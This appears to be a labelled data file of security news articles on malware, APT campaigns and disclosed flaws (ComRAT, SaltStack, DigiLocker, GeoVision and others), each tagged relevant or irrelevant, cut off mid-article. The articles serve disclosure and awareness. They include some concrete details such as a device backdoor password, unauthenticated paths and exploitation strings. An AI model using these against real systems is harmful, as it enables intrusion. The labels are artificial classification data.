"New ComRAT Malware Uses Gmail to Receive Commands and Exfiltrate Data Cybersecurity researchers today uncovered a new advanced version of ComRAT backdoor, one of the earliest known backdoors used by the Turla APT group, that leverages Gmail's web interface to covertly receive commands and exfiltrate sensitive data. ""ComRAT v4 was first seen in 2017 and known still to be in use as recently as January 2020,"" cybersecurity firm ESET said in a report shared with The Hacker News. ""We identified at least three targets: two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region."" Turla, also known as Snake, has been active for over a decade with a long history of the watering hole and spear-phishing campaigns against embassies and military organizations at least since 2004. The group's espionage platform started off as Agent.BTZ, in 2007, before it evolved to ComRAT, in addition to gaining additional capabilities to achieve persistence and to steal data from a local network. It is now known that earlier versions of Agent.BTZ were responsible for infecting US military networks in the Middle East in 2008. In recent years, Turla is said to have been behind the compromise of French Armed Forces in 2018 and the Austrian Foreign Ministry early this year. Newer versions of ComRAT backdoor have since ditched Agent. BTZ's USB-stick infection mechanism in favor of injecting itself into every process of the infected machine and executing its primary payload in ""explorer.exe."" What's New in ComRAT v4? The ComRAT v4 (or ""Chinch"" by the malware authors), as the new successor is called, uses an entirely new code base and is far more complex than its earlier variants, according to ESET. The firm said the first known sample of the malware was detected in April 2017. ComRAT is typically installed via PowerStallion, a lightweight PowerShell backdoor used by Turla to install other backdoors. In addition, the PowerShell loader injects a module called ComRAT orchestrator into the web browser, which employs two different channels — a legacy and an email mode — to receive commands from a C2 server and exfiltrate information to the operators. ""The main use of ComRAT is discovering, stealing, and exfiltrating confidential documents,"" the researchers said. ""In one case, its operators even deployed a .NET executable to interact with the victim's central MS SQL Server database containing the organization's documents."" What's more, all the files related to ComRAT, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS). The ""mail"" mode works by reading the email address and the authentication cookies located in the VFS, connecting to the basic HTML view of Gmail, and parsing the inbox HTML page (using Gumbo HTML parser) to get the list of emails with subject lines that match those in a ""subject.str"" file in the VFS. For each email that meets the above criteria, the comRAT proceeds by downloading the attachments (e.g. ""document.docx,"" ""documents.xlsx""), and deleting the emails to avoid processing them a second time. Despite the "".docx"" and "".xlsx"" format in the filenames, the attachments are not documents themselves, but rather encrypted blobs of data that include a specific command to be executed: read/write files, execute additional processes, and gather logs. In the final stage, the results of the command execution are encrypted and stored in an attachment (with the double extension "".jpg.bfe""), which is then sent as an email to a target address specified in the ""answer_addr.str"" VFS file. The ""legacy"" mode, on the other hand, makes use of the already existing C2 infrastructure (ComRAT v3.x) to issue remote commands, the results of which are compressed and transmitted to a cloud service such as Microsoft OneDrive or 4Shared. The exfiltrated data comprises user details and security-related log files to check if their malware samples were detected during a scan of the infected systems. Based on the Gmail email distribution patterns over a one-month period, ESET said the operators behind the campaign are working in the UTC+3 or UTC+4 time zones. ""Version four of ComRAT is a totally revamped malware family released in 2017,"" ESET researcher Matthieu Faou said. ""Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn't rely on any malicious domain.""",irrelevant
"New Bluetooth Vulnerability Exposes Billions of Devices to Hackers Academics from École Polytechnique Fédérale de Lausanne (EPFL) disclosed a security vulnerability in Bluetooth that could potentially allow an attacker to spoof a remotely paired device, exposing over a billion of modern devices to hackers. The attacks, dubbed Bluetooth Impersonation AttackS or BIAS, concern Bluetooth Classic, which supports Basic Rate (BR) and Enhanced Data Rate (EDR) for wireless data transfer between devices. ""The Bluetooth specification contains vulnerabilities enabling to perform impersonation attacks during secure connection establishment,"" the researchers outlined in the paper. ""Such vulnerabilities include the lack of mandatory mutual authentication, overly permissive role switching, and an authentication procedure downgrade."" Given the widespread impact of the vulnerability, the researchers said they responsibly disclosed the findings to the Bluetooth Special Interest Group (SIG), the organization that oversees the development of Bluetooth standards, in December 2019. The Bluetooth SIG acknowledged the flaw, adding it has made changes to resolve the vulnerability. ""These changes will be introduced into a future specification revision,"" the SIG said. The BIAS Attack For BIAS to be successful, an attacking device would need to be within the wireless range of a vulnerable Bluetooth device that has previously established a BR/EDR connection with another Bluetooth device whose address is known to the attacker. The flaw stems from how two previously paired devices handle the long term key, also known as link key, that's used to mutually authenticate the devices and activate a secure connection between them. The link key also ensures that users don't have to pair their devices every time a data transfer occurs between, say, a wireless headset and a phone, or between two laptops. The attacker, then, can exploit the bug to request a connection to a vulnerable device by forging the other end's Bluetooth address, and vice versa, thus spoofing the identity and gaining full access to another device without actually possessing the long term pairing key that was used to establish a connection. Put differently, the attack allows a bad actor to impersonate the address of a device previously paired with the target device. What's more, BIAS can be combined with other attacks, including the KNOB (Key Negotiation of Bluetooth) attack, which occurs when a third party forces two or more victims to agree on an encryption key with reduced entropy, thus allowing the attacker to brute-force the encryption key and use it to decrypt communications. Devices Not Updated Since December 2019 Affected With most standard-compliant Bluetooth devices impacted by the vulnerability, the researchers said they tested the attack against as many as 30 devices, including smartphones, tablets, laptops, headphones, and single-board computers such as Raspberry Pi. All the devices were found to be vulnerable to BIAS attacks. The Bluetooth SIG said it's updating the Bluetooth Core Specification to ""avoid a downgrade of secure connections to legacy encryption,"" which lets the attacker initiate ""a master-slave role switch to place itself into the master role and become the authentication initiator."" In addition to urging companies to apply the necessary patches, the organization is recommending Bluetooth users to install the latest updates from device and operating system manufacturers. ""The BIAS attacks are the first uncovering issues related to Bluetooth's secure connection establishment authentication procedures, adversarial role switches, and Secure Connections downgrades,"" the research team concluded. ""The BIAS attacks are stealthy, as Bluetooth secure connection establishment does not require user interaction.""",relevant
"Iranian APT Group Targets Governments in Kuwait and Saudi Arabia Today, cybersecurity researchers shed light on an Iranian cyber espionage campaign directed against critical infrastructures in Kuwait and Saudi Arabia. Bitdefender said the intelligence-gathering operations were conducted by Chafer APT (also known as APT39 or Remix Kitten), a threat actor known for its attacks on telecommunication and travel industries in the Middle East to collect personal information that serves the country's geopolitical interests. ""Victims of the analyzed campaigns fit into the pattern preferred by this actor, such as air transport and government sectors in the Middle East,"" the researchers said in a report (PDF) shared with The Hacker News, adding at least one of the attacks went undiscovered for more than a year and a half since 2018. ""The campaigns were based on several tools, including 'living off the land' tools, which makes attribution difficult, as well as different hacking tools and a custom-built backdoor."" Known to be active since 2014, the Chafer APT has previously taken aim at Turkish government organizations and foreign diplomatic entities based in Iran with the goal of exfiltrating sensitive data. A FireEye report last year added to growing evidence of Chafer's focus on telecommunications and travel industries. ""Telecommunications firms are attractive targets given that they store large amounts of personal and customer information, provide access to critical infrastructure used for communications, and enable access to a wide range of potential targets across multiple verticals,"" the company said. APT39 compromises its targets via spear-phishing emails with malicious attachments and using a variety of backdoor tools to gain a foothold, elevate their privileges, conduct internal reconnaissance, and establish persistence in the victim environment. What makes the Kuwait attack more elaborate, according to Bitdefender, is their ability to create a user account on the victims' machine and perform malicious actions inside the network, including network scanning (CrackMapExec), credential harvesting (Mimikatz), and move laterally inside the networks using a wide arsenal of tools at their disposal. Most activity occurs on Friday and Saturday, coinciding with the weekend in the Middle East, the researchers said. The attack against a Saudi Arabian entity, on the other hand, involved the use of social engineering to trick the victim into running a remote administration tool (RAT), with some of its components sharing similarities with those used against Kuwait and Turkey. ""While this attack was not as extensive as the one in Kuwait, some forensic evidence suggests that the same attackers might have orchestrated it,"" the researchers said. ""Despite the evidence for network discovery, we were not able to find any traces for lateral movement, most probably because threat actors were not able to find any vulnerable machines."" The attacks against Kuwait and Saudi Arabia are a reminder that Iran's cyber espionage efforts have shown no sign of slowing down. Given the crucial nature of the industries involved, Chafer's actions continue the trend of striking countries that act against its national ambitions. ""While these two are the most recent attack examples happening in the Middle East, it is important to understand that this type of attack can happen anywhere in the world, and critical infrastructures like government and air transportation remain very sensitive targets,"" Bitdefender said.",irrelevant
"HTTP Status Codes Command This Malware How to Control Hacked Systems A new version of COMpfun remote access trojan (RAT) has been discovered in the wild that uses HTTP status codes to control compromised systems targeted in a recent campaign against diplomatic entities in Europe. The cyberespionage malware—traced to Turla APT with ""medium-to-low level of confidence"" based on the history of compromised victims—spread via an initial dropper that masks itself as a visa application, the Global Research and Analysis Team at Kaspersky discovered. The Turla APT, a Russian-based threat group, has a long history of carrying out espionage and watering hole attacks spanning various sectors, including governments, embassies, military, education, research, and pharmaceutical companies. First documented by G-Data in 2014, COMpfun received a significant upgrade last year (called ""Reductor"") after Kaspersky found that the malware was used to spy on a victim's browser activity by staging man-in-the-middle (MitM) attacks on encrypted web traffic via a tweak in the browser's random numbers generator (PRNG). malware attack In addition to functioning as a fully-featured RAT capable of capturing keystrokes, screenshots, and exfiltrating sensitive data, this new variant of COMpfun monitors for any removable USB devices plugged to the infected systems to spread further and receives commands from an attacker-controlled server in the form of HTTP status codes. ""We observed an interesting C2 communication protocol utilizing rare HTTP/HTTPS status codes (check IETF RFC 7231, 6585, 4918),"" the researchers said. ""Several HTTP status codes (422-429) from the Client Error class let the Trojan know what the operators want to do. After the control server sends the status 'Payment Required' (402), all these previously received commands are executed."" HTTP status codes are standardized responses issued by a server in response to a client's request made to the server. By issuing remote commands in the form of status codes, the idea is to obfuscate any detection of malicious activity while scanning internet traffic. ""The authors keep the RSA public key and unique HTTP ETag in encrypted configuration data. Created for web content caching reasons, this marker could also be used to filter unwanted requests to the C2, e.g., those that are from network scanners rather than targets."" ""To exfiltrate the target's data to the C2 over HTTP/HTTPS, the malware uses RSA encryption. To hide data locally, the Trojan implements LZNT1 compression and one-byte XOR encryption."" malware attack While the exact modus operandi behind how the malicious visa application is delivered to a target remains unclear, the initial dropper, upon download, runs the next stage of malware, which communicates with the command-and-control (C2) server using an HTTP status-based module. ""The malware operators retained their focus on diplomatic entities, and the choice of a visa-related application — stored on a directory shared within the local network — as the initial infection vector worked in their favor,"" Kaspersky researchers concluded. ""The combination of a tailored approach to their targets and the ability to generate and execute their ideas certainly makes the developers behind COMpfun a strong offensive team.",irrelevant
"Brazil's Biggest Cosmetic Brand Natura Exposes Personal Details of Its Users Brazil's biggest cosmetics company Natura accidentally left hundreds of gigabytes of its customers' personal and payment-related information publicly accessible online that could have been accessed by anyone without authentication. SafetyDetective researcher Anurag Sen last month discovered two unprotected Amazon-hosted servers—with 272GB and 1.3TB in size—belonging to Natura that consisted of more than 192 million records. According to the report Anurag shared with The Hacker News, the exposed data includes personally identifiable information on 250,000 Natura customers, their account login cookies, along with the archives containing logs from the servers and users. Worryingly, the leaked information also includes Moip payment account details with access tokens for nearly 40,000 wirecard.com.br users who integrated it with their Natura accounts. ""Around 90% of users were Brazilian customers, although other nationalities were also present, including customers from Peru,"" Anurag said. ""The compromised server contained website and mobile site API logs, thereby exposing all production server information. Furthermore, several 'Amazon bucket names' were mentioned in the leak, including PDF documents referring to formal agreements between various parties,"" Anurag said. More precisely, the leaked sensitive personal information of customers includes their: Full name Mother's maiden name Date of Birth Nationality Gender Hashed login passwords with salts Username and nickname MOIP account details API credentials with unencrypted passwords Recent purchases Telephone number Email and physical addresses Access token for wirecard.com.br Besides this, the unprotected server also had a secret .pem certificate file that contains the key/password to the EC2 Amazon server where Natura website is hosted. If exploited, the key to the server potentially could have allowed attackers to directly inject a digital skimmer directly into the company's official website to steal users' payment card details in real-time. ""Exposed details about the backend, as well as keys to servers, could be leveraged to conduct further attacks and allow deeper penetration into existing systems,"" the researcher warned. SafetyDetective tried reporting its researcher's findings directly to the affected company last month but failed to receive any response on time, after which it contacted Amazon services, who then asked the company to secure both the servers immediately. At the time of writing, it's unknown if the unprotected servers and the sensitive data stored on them were also accessed by a malicious actor before they went offline. So, if you have an account with Natura, you are advised to stay vigilant against identity theft, change your account password and keep a close eye on your payment card transactions for signs of any suspicious activity. ""Instances of personally identifiable information being exposed could potentially lead to identity theft and fraud since they can be used by attackers for identification in various sites and locations,"" the researcher added. ""The risk of phishing and phone scams is also raised by the Natura data leak.""",irrelevant
"Hackers Breach LineageOS, Ghost, DigiCert Servers Using SaltStack Vulnerability Days after cybersecurity researchers sounded the alarm over two critical vulnerabilities in the SaltStack configuration framework, a hacking campaign has already begun exploiting the flaws to breach servers of LineageOS, Ghost, and DigiCert. Tracked as CVE-2020-11651 and CVE-2020-11652, the disclosed flaws could allow an adversary to execute arbitrary code on remote servers deployed in data centers and cloud environments. The issues were fixed by SaltStack in a release published on April 29th. ""We expect that any competent hacker will be able to create 100% reliable exploits for these issues in under 24 hours,"" F-Secure researchers had previously warned in an advisory last week. LineageOS, a maker of an open-source operating system based on Android, said it detected the intrusion on May 2nd at around 8 pm Pacific Time. ""Around 8 pm PST on May 2nd, 2020, an attacker used a CVE in our SaltStack master to gain access to our infrastructure,"" the company noted in its incident report but added Android builds and signing keys were unaffected by the breach. Ghost, a Node.js based blogging platform, also fell victim to the same flaw. In its status page, the developers noted that ""around 1:30 am UTC on May 3rd, 2020, an attacker used a CVE in our SaltStack master to gain access to our infrastructure"" and install a cryptocurrency miner. ""The mining attempt spiked CPUs and quickly overloaded most of our systems, which alerted us to the issue immediately,"" Ghost added. Ghost, however, confirmed there was no evidence the incident resulted in a compromise of customer data, passwords, and financial information. Both LineageOS and Ghost have restored the services after taking the servers offline to patch the systems and secure them behind a new firewall. In a separate development, the Salt vulnerability was used to hack into DigiCert certificate authority as well. ""We discovered today that CT Log 2's key used to sign SCTs (signed certificate timestamps) was compromised last night at 7 pm via the Salt vulnerability,"" DigiCert's VP of Product Jeremy Rowley said in a Google Groups post made on Sunday. In an email conversation with The Hacker News, DigiCert also said it's deactivating its CT 2 log server following the incident but clarified that the other certificate transparency logs, CT 1, Yeti, and Nessie were not impacted. ""On May 3, DigiCert announced that it is deactivating its Certificate Transparency (CT) 2 log server after determining that the key used to sign SCTs may have been exposed via critical SALT vulnerabilities,"" the company said. ""We do not believe the key was used to sign SCTs outside of the CT log's normal operation, though as a precaution, CAs that received SCTs from the CT2 log after May 2 at 5 pm MST should receive an SCT from another trusted log. Three other DigiCert CT logs: CT1, Yeti, and Nessie, are not affected as they are run on completely different infrastructure. The impacts are limited to only the CT2 log and no other part of DigiCert's CA or CT Log systems,"" With F-Secure's alert revealing more than 6,000 Salt vulnerable servers that can be exploited via this vulnerability, if left unpatched, companies are advised to update the Salt software packages to the latest version to resolve the flaws.",relevant
"Critical SaltStack RCE Bug (CVSS Score 10) Affects Thousands of Data Centers Two severe security flaws have been discovered in the open-source SaltStack Salt configuration framework that could allow an adversary to execute arbitrary code on remote servers deployed in data centers and cloud environments. The vulnerabilities were identified by F-Secure researchers earlier this March and disclosed on Thursday, a day after SaltStack released a patch (version 3000.2) addressing the issues, rated with CVSS score 10. ""The vulnerabilities, allocated CVE IDs CVE-2020-11651 and CVE-2020-11652, are of two different classes,"" the cybersecurity firm said. ""One being authentication bypass where functionality was unintentionally exposed to unauthenticated network clients, the other being directory traversal where untrusted input (i.e., parameters in network requests) was not sanitized correctly allowing unconstrained access to the entire filesystem of the master server."" The researchers warned that the flaws could be exploited in the wild imminently. SaltStack is also urging users to follow the best practices to secure the Salt environment. Vulnerabilities in ZeroMQ Protocol Salt is a powerful Python-based automation and remote execution engine that's designed to allow users to issue commands to multiple machines directly. Built as a utility to monitor and update the state of servers, Salt employs a master-slave architecture that automates the process of pushing out configuration and software updates from a central repository using a ""master"" node that deploys the changes to a target group of ""minions"" (e.g., servers) en masse. The communication between a master and minion occurs over the ZeroMQ message bus. Additionally, the master uses two ZeroMQ channels, a ""request server"" to which minions report the execution results and a ""publish server,"" where the master publishes messages that the minions can connect and subscribe to. According to F-Secure researchers, the pair of flaws reside within the tool's ZeroMQ protocol. ""The vulnerabilities described in this advisory allow an attacker who can connect to the 'request server' port to bypass all authentication and authorization controls and publish arbitrary control messages, read and write files anywhere on the 'master' server filesystem and steal the secret key used to authenticate to the master as root,"" the researchers said. ""The impact is full remote command execution as root on both the master and all minions that connect to it."" In other words, an attacker can exploit the flaws to call administrative commands on the master server as well as queue messages directly on the master publish server, thereby allowing the salt minions to run malicious commands. What's more, a directory traversal vulnerability identified in the wheel module — which has functions to read and write files to specific locations — can permit reading of files outside of the intended directory due to a failure to properly sanitize file paths. Detecting Vulnerable Salt Masters F-Secure researchers said an initial scan revealed more than 6,000 vulnerable Salt instances exposed to the public internet. Detecting possible attacks against susceptible masters, therefore, entails auditing published messages to minions for any malicious content. ""Exploitation of the authentication vulnerabilities will result in the ASCII strings ""_prep_auth_info"" or ""_send_pub"" appearing in data sent to the request server port (default 4506),"" it added. It's highly recommended that Salt users update the software packages to the latest version. ""Adding network security controls that restrict access to the salt master (ports 4505 and 4506 being the defaults) to known minions, or at least block the wider Internet, would also be prudent as the authentication and authorization controls provided by Salt are not currently robust enough to be exposed to hostile networks,"" the researchers said.",relevant
"Any Indian DigiLocker Account Could've Been Accessed Without Password The Indian Government said it has addressed a critical vulnerability in its secure document wallet service Digilocker that could have potentially let a remote attacker bypass mobile one-time passwords (OTP) and sign in as other users. Discovered separately by two independent bug bounty researchers, Mohesh Mohan and Ashish Gahlot, the vulnerability could have been exploited easily to unauthorisedly access sensitive documents uploaded by targeted users' on the Government-operated platform. ""The OTP function lacks authorization which makes it possible to perform OTP validation with submitting any valid users details and then manipulation flow to sign in as a totally different user,"" Mohesh Mohan said in a disclosure shared with The Hacker News. With over 38 million registered users, Digilocker is a cloud-based repository that acts as a digital platform to facilitate online processing of documents and speedier delivery of various government-to-citizen services. It's linked to a user's mobile number and Aadhar ID—a unique identity number (UID) issued to every resident of India. According to Mohan, all an attacker needs to know is either victim's Aadhaar ID or linked mobile number or username to unauthorizedly access a targeted Digilocker account, prompting the service to send an OTP and subsequently exploiting the flaw to bypass the sign-in process. It's worth noting that the mobile app version of Digilocker also comes with a 4-digit PIN for an added layer of security. But the researchers said it was possible to modify the API calls to authenticate the PIN by associating the PIN to another user (identified with a version-5 UUID) and successfully login in as the victim. This means ""you can do the SMS OTP [verification] as one user and submit the pin of a second user, and finally, you will end up logging as the second user,"" Mohan said. What's more, the lack of authorization for the API endpoint used to set the secret PIN effectively implies the API can be exploited to reset the PIN linked to a random user using the individual's UUID. ""There is no session-related information on the POST request, so it's not bound to any user,"" Mohan added. In addition to the issues mentioned above, the API calls from mobile apps were secured by basic authentication that can be circumvented by removing a header flag ""is_encrypted: 1."" The application was also found to implement a weak SSL pinning mechanism, making them vulnerable to a bypass using tools like Frida. After the flaw was reported to CERT-In on May 10 by Mohan and to DigiLocker on 16th May by Ashish, the cyber agency said the issue was fixed on May 28. ""The nature of the vulnerability was such that an individual's DigiLocker account could potentially get compromised if the attacker knew the username for that particular account,"" Digilocker said in a tweet last week acknowledging the flaw. ""It was not a vulnerability that could let anyone get access to [the] DigiLocker account of anyone whose username and other details were not known."" ""Upon analysis, it was discovered that this vulnerability had crept in the code when some new features were added recently. The vulnerability was patched on a priority basis by the technical team within a day of getting the alert from CERT-In. This was not an attack on infrastructure, and no data, database, storage, or encryption was compromised,"" the team added.",relevant
"New USBCulprit Espionage Tool Steals Data From Air-Gapped Computers A Chinese threat actor has developed new capabilities to target air-gapped systems in an attempt to exfiltrate sensitive data for espionage, according to a newly published research by Kaspersky yesterday. The APT, known as Cycldek, Goblin Panda, or Conimes, employs an extensive toolset for lateral movement and information stealing in victim networks, including previously unreported custom tools, tactics, and procedures in attacks against government agencies in Vietnam, Thailand, and Laos. ""One of the newly revealed tools is named USBCulprit and has been found to rely on USB media in order to exfiltrate victim data,"" Kaspersky said. ""This may suggest Cycldek is trying to reach air-gapped networks in victim environments or relies on physical presence for the same purpose."" First observed by CrowdStrike in 2013, Cycldek has a long history of singling out defense, energy, and government sectors in Southeast Asia, particularly Vietnam, using decoy documents that exploit known vulnerabilities (e.g., CVE-2012-0158, CVE-2017-11882, CVE-2018-0802) in Microsoft Office to drop a malware called NewCore RAT. Exfiltrating Data to Removable Drives Kaspersky's analysis of NewCore revealed two different variants (named BlueCore and RedCore) centered around two clusters of activity, with similarities in both code and infrastructure, but also contain features that are exclusive to RedCore — namely a keylogger and an RDP logger that captures details about users connected to a system via RDP. ""Each cluster of activity had a different geographical focus,"" the researchers said. ""The operators behind the BlueCore cluster invested most of their efforts on Vietnamese targets with several outliers in Laos and Thailand, while the operators of the RedCore cluster started out with a focus on Vietnam and diverted to Laos by the end of 2018."" Both BlueCore and RedCore implants, in turn, downloaded a variety of additional tools to facilitate lateral movement (HDoor) and extract information (JsonCookies and ChromePass) from compromised systems. Chief among them is a malware called USBCulprit that's capable of scanning a number of paths, collecting documents with specific extensions (*.pdf;*.doc;*.wps;*docx;*ppt;*.xls;*.xlsx;*.pptx;*.rtf), and exporting them to a connected USB drive. What's more, the malware is programmed to copy itself selectively to certain removable drives so it can move laterally to other air-gapped systems each time an infected USB drive is inserted into another machine. A telemetry analysis by Kaspersky found that the first instance of the binary dates all the way back to 2014, with the latest samples recorded at the end of last year. The initial infection mechanism relies on leveraging malicious binaries that mimic legitimate antivirus components to load USBCulprit in what's called DLL search order hijacking before it proceeds to collect the relevant information, save it in the form of an encrypted RAR archive, and exfiltrate the data to a connected removable device. ""The characteristics of the malware can give rise to several assumptions about its purpose and use cases, one of which is to reach and obtain data from air-gapped machines,"" the researchers said. ""This would explain the lack of any network communication in the malware and the use of only removable media as a means of transferring inbound and outbound data."" Ultimately, the similarities and differences between the two pieces of malware are indicative of the fact that the actors behind the clusters are sharing code and infrastructure, while operating as two different offshoots under a single larger entity. ""Cycldek is an example of an actor that has broader capability than publicly perceived,"" Kaspersky concluded. ""While most known descriptions of its activity give the impression of a marginal group with sub-par capabilities, the range of tools and timespan of operations show that the group has an extensive foothold inside the networks of high-profile targets in Southeast Asia.""",relevant
"Docker Images Containing Cryptojacking Malware Distributed via Docker Hub With Docker gaining popularity as a service to package and deploy software applications, malicious actors are taking advantage of the opportunity to target exposed API endpoints and craft malware-infested images to facilitate distributed denial-of-service (DDoS) attacks and mine cryptocurrencies. According to a report published by Palo Alto Networks' Unit 42 threat intelligence team, the purpose of these Docker images is to generate funds by deploying a cryptocurrency miner using Docker containers and leveraging the Docker Hub repository to distribute these images. ""Docker containers provide a convenient way for packaging software, which is evident by its increasing adoption rate,"" Unit 42 researchers said. ""This, combined with coin mining, makes it easy for a malicious actor to distribute their images to any machine that supports Docker and instantly starts using its compute resources towards cryptojacking."" Docker is a well-known platform-as-a-service (PaaS) solution for Linux and Windows that allows developers to deploy, test, and package their applications in a contained virtual environment — in a way that isolates the service from the host system they run on. The now taken down Docker Hub account, named ""azurenql,"" consisted of eight repositories hosting six malicious images capable of mining Monero, a privacy-focused cryptocurrency. The malware author behind the images used a Python script to trigger the cryptojacking operation and took advantage of network anonymizing tools such as ProxyChains and Tor to evade network detection. The coin mining code within the image then exploited the processing power of the infected systems to mine the blocks. The images hosted on this account have been collectively pulled over ​two million times​ since the start of the campaign in October 2019, with one of the wallet IDs used to earn more than 525.38 XMR ($36,000). Exposed Docker Servers Targeted With DDoS Malware That's not all. In a new mass-scanning operation spotted by Trend Micro researchers, unprotected Docker servers are being targeted with at least two different kinds of malware — XOR DDoS and Kaiji — to collect system information and carry out DDoS attacks. ""Attackers usually used botnets to perform brute-force attacks after scanning for open Secure Shell (SSH) and Telnet ports,"" the researchers said. ""Now, they are also searching for Docker servers with exposed ports (2375)."" It's worth noting that both XOR DDoS and Kaiji are Linux trojans known for their ability to conduct DDoS attacks, with the latter written entirely from scratch using Go programming language to target IoT devices via SSH brute-forcing. The XOR DDoS malware strain works by searching for hosts with exposed Docker API ports, followed by sending a command to list all the containers hosted on the target server, and subsequently compromising them with the XORDDoS malware. Likewise, the Kaiji malware scans the internet for hosts with exposed port 2375 to deploy a rogue ARM container (""linux_arm"") that executes the Kaiji binary. ""While the XOR DDoS attack infiltrated the Docker server to infect all the containers hosted on it, the Kaiji attack deploys its own container that will house its DDoS malware,"" the researchers said, noting the difference between the two malware variants. In addition, both the two pieces of malware gather details such as domain names, network speeds, process identifiers of running processes, and CPU and network information that are needed to mount a DDoS attack. ""Threat actors behind malware variants constantly upgrade their creations with new capabilities so that they can deploy their attacks against other entry points,"" the researchers concluded. ""As they are relatively convenient to deploy in the cloud, Docker servers are becoming an increasingly popular option for companies. However, these also make them an attractive target for cybercriminals who are on the constant lookout for systems that they can exploit."" It's advised that users and organizations who run Docker instances immediately check if they expose API endpoints on the Internet, close the ports, and adhere to recommended best practices.",relevant
"A Bug in Facebook Messenger for Windows Could've Helped Malware Gain Persistence Cybersecurity researchers at Reason Labs, the threat research arm of security solutions provider Reason Cybersecurity, today disclosed details of a vulnerability they recently discovered in the Facebook Messenger application for Windows. The vulnerability, which resides in Messenger version 460.16, could allow attackers to leverage the app to potentially execute malicious files already present on a compromised system in an attempt to help malware gain persistent/extended access. Reason Labs shared its findings with Facebook in April, after which the social media company quickly patched the flaw with the release of an updated version of Facebook Messenger for Windows users via the Microsoft store. Facebook Messenger According to researchers, the vulnerable app triggers a call to load Windows Powershell from the C:\python27 path. This path is typically created when installing version 2.7 of the Python and does not commonly exist in most Windows installations. Attackers can hijack such calls that attempt to load potentially non-existent resources to covertly execute malware. Moreover, since the targeted directory is also in a low-integrity location, malicious programs could access the path without administrator privileges. To test if the flaw is exploitable, the team created a reverse shell disguised as Powershell.exe and deployed it into the Python directory. They then ran the Messenger app, which triggered the call, successfully executing the reverse shell, thus proving that malicious actors could exploit the flaw for persistent attacks. Conventionally, attackers employing persistence methods rely on registry keys, scheduled tasks, and services to maintain active access to a system. This particular type of vulnerability is considered to be more complex to exploit. Attackers need to observe if an app is making an unwanted call or dive deep into an app's binary code to find a function that makes such a call. Facebook Messenger The vulnerability has been fixed in version 480.5, which is the most recent release that Reason tested. Users who are running the flawed version should update to the latest release. While there has been no indication that the flaw has been exploited before Reason's discovery, such vulnerabilities are highly risky. Malicious actors can use such flaws to maintain access to devices for extended periods. Such persistent access can allow them to perform other hacks, including ransomware implantation and data exfiltration and breaches. Threat groups also use persistent methods to perform specialized hacks targeting financial institutions, government offices, and other industrial facilities. In addition, the threat could have been widespread had the vulnerability been exploited. Facebook Messenger has 1.3 billion active users a month. While this figure accounts for all users across devices, many access the service through their Windows-based machines. This becomes even more worrying considering that messaging apps are seeing significant use during the ongoing coronavirus pandemic. Due to travel restrictions, lockdowns, and forced work-from-home arrangements, users rely heavily on messaging apps and video conferencing tools to communicate and collaborate. Facebook's Messenger is among the popularly used apps. In March, Facebook reported a 50 percent increase in messaging and a 1,000 percent increase in time-in-group in calls with three or more participants.",relevant
"Critical Bugs and Backdoor Found in GeoVision's Fingerprint and Card Scanners GeoVision, a Taiwanese manufacturer of video surveillance systems and IP cameras, recently patched three of the four critical flaws impacting its card and fingerprint scanners that could've potentially allowed attackers to intercept network traffic and stage man-in-the-middle attacks. In a report shared exclusively with The Hacker News, enterprise security firm Acronis said it discovered the vulnerabilities last year following a routine security audit of a Singapore-based major retailer. ""Malicious attackers can establish persistence on the network and spy on internal users, steal data — without ever getting detected,"" Acronis said. ""They can reuse your fingerprint data to enter your home and/or personal devices, and photos can be easily reused by malicious actors to perpetrate identity theft based on biometric data."" In all, the flaws affect at least 6 device families, with over 2,500 vulnerable devices discovered online across Brazil, US, Germany, Taiwan, and Japan, aside from thousands of other devices capable of being remotely compromised. The first issue concerns a previously undocumented root password that permits an attacker backdoor access to a device by simply using the default password (""admin"") and remotely log in to the vulnerable device (e.g., https://ip.of.the.device/isshd.htm). A second flaw involves the use of hardcoded shared cryptographic private keys when authenticating via SSH, while a third vulnerability makes it possible to access system logs on the device (e.g., at https://ip.of.the.device/messages.txt and at https://ip.of.the.device/messages.old.txt) without any authentication. Lastly, there exists a buffer overflow vulnerability in the firmware impacting GeoVision's fingerprint readers that allows attackers to run unauthorized code on the devices. It requires no prior authentication. Even more troublingly, it has a CVSS rating of 10, making it a critical flaw. Acronis said it initially approached GeoVision last August, subsequently twice in September and December, in addition to contacting SingCERT with their findings. But it wasn't until early this month that GeoVision issued fixes for three of the flaws (version 1.22) while leaving the buffer overflow vulnerability unpatched. The flaws were also acknowledged by Taiwan's Computer Emergency Response Team (TWCERT), which published advisories for the three bugs — CVE-2020-3928, CVE-2020-3929, and CVE-2020-3930 — confirming the firmware fixes and the availability of the new version. Besides this, without disclosing technical information on the fourth critical remote code execution flaw that the company left unpatched, we can mention that it could let attackers leverage a vulnerable parameter to overwrite memory structures responsible for memory management. The flaw eventually overwrites the pointers in particular structures, allowing attackers to redirect the program's execution flow to their own malicious code and perform different commands. We have reached out to GeoVision to ask for their comment on the disclosures, but we did not receive a response before this article's publication. ""Once the attacker gets full control over the device, he/she is free to install their own malicious firmware — after which it will be almost impossible to evict them from the network,"" Acronis CISO CISO Kevin Reed and Security Researcher Alex Koshelev said. ""It's quite surreal seeing some vendors not rushing to fix critical vulnerabilities — in addition to the low quality of the initial source code, the presence of back doors is concerning. It shows that IoT security is flawed, and each company must understand that using such devices can leave them exposed to prolonged unmitigated risks.""",relevant
"Hackers Using Google Analytics to Bypass Web Security and Steal Credit Cards Researchers reported on Monday that hackers are now exploiting Google's Analytics service to stealthily pilfer credit card information from infected e-commerce sites. According to several independent reports from PerimeterX, Kaspersky, and Sansec, threat actors are now injecting data-stealing code on the compromised websites in combination with tracking code generated by Google Analytics for their own account, letting them exfiltrate payment information entered by users even in conditions where content security policies are enforced for maximum web security. ""Attackers injected malicious code into sites, which collected all the data entered by users and then sent it via Analytics,"" Kaspersky said in a report published yesterday. ""As a result, the attackers could access the stolen data in their Google Analytics account."" The cybersecurity firm said it found about two dozen infected websites across Europe and North and South America that specialized in selling digital equipment, cosmetics, food products, and spare parts. Bypassing Content Security Policy The attack hinges on the premise that e-commerce websites using Google's web analytics service for tracking visitors have whitelisted the associated domains in their content security policy (CSP). CSP is an added security measure that helps detect and mitigate threats stemming from cross-site scripting vulnerabilities and other forms of code injection attacks, including those embraced by various Magecart groups. The security feature allows webmasters to define a set of domains the web browser should be allowed to interact with for a specific URL, thereby preventing the execution 